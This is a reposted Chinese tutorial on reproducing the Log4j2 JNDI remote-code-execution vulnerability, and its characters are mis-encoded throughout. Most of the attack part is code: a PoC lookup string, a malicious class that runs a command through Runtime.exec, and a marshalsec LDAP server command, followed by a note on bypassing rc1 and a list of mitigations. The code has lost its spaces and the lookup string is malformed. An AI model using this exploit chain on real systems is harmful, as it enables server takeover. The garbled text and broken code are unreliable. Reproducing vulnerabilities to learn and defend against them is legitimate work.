0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何復(fù)現(xiàn)Log4j2漏洞

馬哥Linux運(yùn)維 ? 來(lái)源:馬哥Linux運(yùn)維 ? 2023-02-13 10:55 ? 次閱讀

1. 簡(jiǎn)介

ApacheLog4j2是一個(gè)開(kāi)源的Java日志框架,被廣泛地應(yīng)用在中間件、開(kāi)發(fā)框架與Web應(yīng)用中。

2. 漏洞概述

該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經(jīng)身份驗(yàn)證的攻擊者通過(guò)發(fā)送特定惡意數(shù)據(jù)包,可在目標(biāo)服務(wù)器上執(zhí)行任意代碼。

3. 影響范圍

Apache Log4j 2.x <= 2.15.0-rc1

4. 環(huán)境搭建

1、創(chuàng)建一個(gè)新的maven項(xiàng)目,并導(dǎo)入Log4j的依賴包


org.apache.logging.log4j
log4j-core
2.14.1

漏洞利用

1、使用POC測(cè)試

importorg.apache.logging.log4j.LogManager;
importorg.apache.logging.log4j.Logger;
classLogTest{
publicstaticfinalLoggerlogger=LogManager.getLogger();
publicstaticvoidmain(String[]args){
logger.error("${jndi//localhost:8888/Exploit}");
}
}

2、編譯一惡意類Exploit.class

首先新建exp.java,然后編譯為class文件

classExploit{
static{
System.err.println("Pwned");
try{
Stringcmds="calc";
Runtime.getRuntime().exec(cmds);
}catch(Exceptione){
e.printStackTrace();
}
}
}
javacexp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開(kāi)啟一個(gè)LDAP服務(wù)

java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit"8888

ed720a4e-aaa3-11ed-bfe3-dac502259ad0.png

4、運(yùn)行poc.java,即可訪問(wèn)惡意類并執(zhí)行寫在其中的"calc"命令

ed86eff4-aaa3-11ed-bfe3-dac502259ad0.png

結(jié)合一些其它 StrLookup 適當(dāng)變形,以及配合官方測(cè)試用例中臟數(shù)據(jù)"?Type=A Type&Name=1100110&Char=!"可繞過(guò)rc1,RC2版本對(duì)此異常進(jìn)行了捕獲。

eda76ae0-aaa3-11ed-bfe3-dac502259ad0.png

5. 修復(fù)方式

目前,Apache官方已發(fā)布新版本完成漏洞修復(fù),建議用戶盡快進(jìn)行自查,并及時(shí)升級(jí)至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建議同時(shí)采用如下臨時(shí)措施進(jìn)行漏洞防范:

1)添加jvm啟動(dòng)參數(shù)-Dlog4j2.formatMsgNoLookups=true;

2)在應(yīng)用classpath下添加log4j2.component.properties配置文件,文件內(nèi)容為log4j2.formatMsgNoLookups=true;

3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

4)部署使用第三方防火墻產(chǎn)品進(jìn)行安全防護(hù)。

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • JAVA
    +關(guān)注

    關(guān)注

    19

    文章

    2946

    瀏覽量

    104362
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    203

    瀏覽量

    15332

原文標(biāo)題:手把手教你復(fù)現(xiàn) Log4j2 漏洞

文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影響?

    STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影響?
    發(fā)表于 12-07 07:02

    Java日志框架中的王者是誰(shuí)

    不及Apache 的新一代日志框架 - Log4j 目前來(lái)看,Log4j2 就是王者,其他日志框架都不是對(duì)手 Log4j2簡(jiǎn)介 Apache Log4j
    的頭像 發(fā)表于 10-13 09:12 ?1316次閱讀

    使用Keysight免費(fèi)評(píng)估Log4j/Log4Shell零日漏洞

    在過(guò)去72小時(shí)左右的時(shí)間里,網(wǎng)絡(luò)安全領(lǐng)域的大多數(shù)人已經(jīng)意識(shí)到Log4j/Log4Shell零日漏洞及其對(duì)大多數(shù)web服務(wù)器、云應(yīng)用程序、互聯(lián)網(wǎng)設(shè)備和嵌入式設(shè)備的廣泛影響。你可以閱讀CVE-2021-44228中記錄的所有血淋淋的
    的頭像 發(fā)表于 12-21 10:50 ?1449次閱讀

    SafeLog4j解決log4shell漏洞

    safelog4j.zip
    發(fā)表于 05-06 11:55 ?2次下載
    SafeLog<b class='flag-5'>4j</b>解決<b class='flag-5'>log4</b>shell<b class='flag-5'>漏洞</b>

    Log4-detector Log4J漏洞版本掃描器

    log4j-detector.zip
    發(fā)表于 05-06 11:55 ?0次下載
    <b class='flag-5'>Log4</b>-detector <b class='flag-5'>Log4J</b><b class='flag-5'>漏洞</b>版本掃描器

    log4j-finder Log4Shell漏洞掃描工具

    log4j-finder.zip
    發(fā)表于 05-06 11:54 ?1次下載
    <b class='flag-5'>log4j</b>-finder <b class='flag-5'>Log4</b>Shell<b class='flag-5'>漏洞</b>掃描工具

    fix_log4j2 log4j2漏洞緩解工具

    fix_log4j2.zip
    發(fā)表于 05-06 10:22 ?0次下載
    fix_<b class='flag-5'>log4j2</b> <b class='flag-5'>log4j2</b><b class='flag-5'>漏洞</b>緩解工具

    華為云VSS漏洞掃描服務(wù)為你排除Apache log4j2隱患

    華為云VSS漏洞掃描服務(wù)為你排除Apache log4j2隱患 近日Apache Log4j2漏洞持續(xù)發(fā)酵,已成為中國(guó)互聯(lián)網(wǎng)2021年年底前最大的安全事件。華為云VSS
    的頭像 發(fā)表于 10-13 13:52 ?951次閱讀
    華為云VSS<b class='flag-5'>漏洞</b>掃描服務(wù)為你排除Apache <b class='flag-5'>log4j2</b>隱患

    委派模式——從SLF4J說(shuō)起

    SLF4J全稱"Simple Logging Facade for Java (SLF4J) ", 它誕生之初的目的,是為了針對(duì)不同的log解決方案,提供一套統(tǒng)一的接口適配標(biāo)準(zhǔn),從而讓業(yè)務(wù)代碼無(wú)須關(guān)心使用到的第三方模塊都使用了哪
    的頭像 發(fā)表于 01-31 15:12 ?467次閱讀

    log4j日志框架分析

    og4j是Apache下的一款開(kāi)源的日志框架,能夠滿足我們?cè)陧?xiàng)目中對(duì)于日志記錄的需求。log4j提供了簡(jiǎn)單的API調(diào)用,強(qiáng)大的日志格式定義以及靈活的擴(kuò)展性。使用者可以自己定義Appender來(lái)滿足對(duì)于日志輸出的需求。在系統(tǒng)中對(duì)于記錄日志的需求并不單純。
    的頭像 發(fā)表于 02-28 14:32 ?1045次閱讀
    <b class='flag-5'>log4j</b>日志框架分析

    Spring Boot的日志框架使用

    目前市面上常見(jiàn)的日志框架有:slf4j(Simple Logging Facade for Java)、logback、log4jlog4j2、commons-logging(Spring默認(rèn)日志框架)、JUL(java.ut
    的頭像 發(fā)表于 06-02 10:59 ?882次閱讀
    Spring Boot的日志框架使用

    【聲明】請(qǐng)您放心,我們的產(chǎn)品沒(méi)有用log4j

    Apachelog4j漏洞11月24日由阿里云安全團(tuán)隊(duì)向Apache官方報(bào)告了Apachelog4j遠(yuǎn)程代碼執(zhí)行漏洞。這漏洞的影響范圍太廣(
    的頭像 發(fā)表于 12-19 13:51 ?383次閱讀
    【聲明】請(qǐng)您放心,我們的產(chǎn)品沒(méi)有用<b class='flag-5'>log4j</b>

    保護(hù)Log4j日志中的敏感數(shù)據(jù),兩步搞定!

    log4j在準(zhǔn)備添加日志消息時(shí)調(diào)用此方法。在MaskingAppender類中,我們覆蓋這個(gè)方法來(lái)攔截日志消息,使用maskSensitiveData()方法對(duì)敏感數(shù)據(jù)應(yīng)用masking,然后將修改后的消息傳遞給超類的append()方法。
    的頭像 發(fā)表于 10-18 16:03 ?662次閱讀

    某些bug正常運(yùn)行時(shí)會(huì)出現(xiàn),當(dāng)打開(kāi)串口log時(shí)又不再復(fù)現(xiàn)怎么辦?

    某些bug正常運(yùn)行時(shí)會(huì)出現(xiàn),當(dāng)打開(kāi)串口log時(shí)又不再復(fù)現(xiàn)怎么辦? 在開(kāi)發(fā)過(guò)程中,我們經(jīng)常會(huì)遇到一些bug。這些bug會(huì)對(duì)我們的開(kāi)發(fā)造成一定程度的困擾,有時(shí)候甚至?xí)屛覀兊能浖罎⒒驘o(wú)法正常運(yùn)行
    的頭像 發(fā)表于 10-31 14:37 ?327次閱讀

    Log4cpp優(yōu)勢(shì)及優(yōu)點(diǎn)

    命令行、文件、回卷文件、內(nèi)存、syslog服務(wù)器、Win事件日志等; 可以動(dòng)態(tài)控制日志記錄級(jí)別,在效率和功能中進(jìn)行調(diào)整; 所有配置可以通過(guò)配置文件進(jìn)行動(dòng)態(tài)調(diào)整; 多語(yǔ)言支持,包括Java(log4j
    的頭像 發(fā)表于 11-09 14:27 ?613次閱讀
    <b class='flag-5'>Log4</b>cpp優(yōu)勢(shì)及優(yōu)點(diǎn)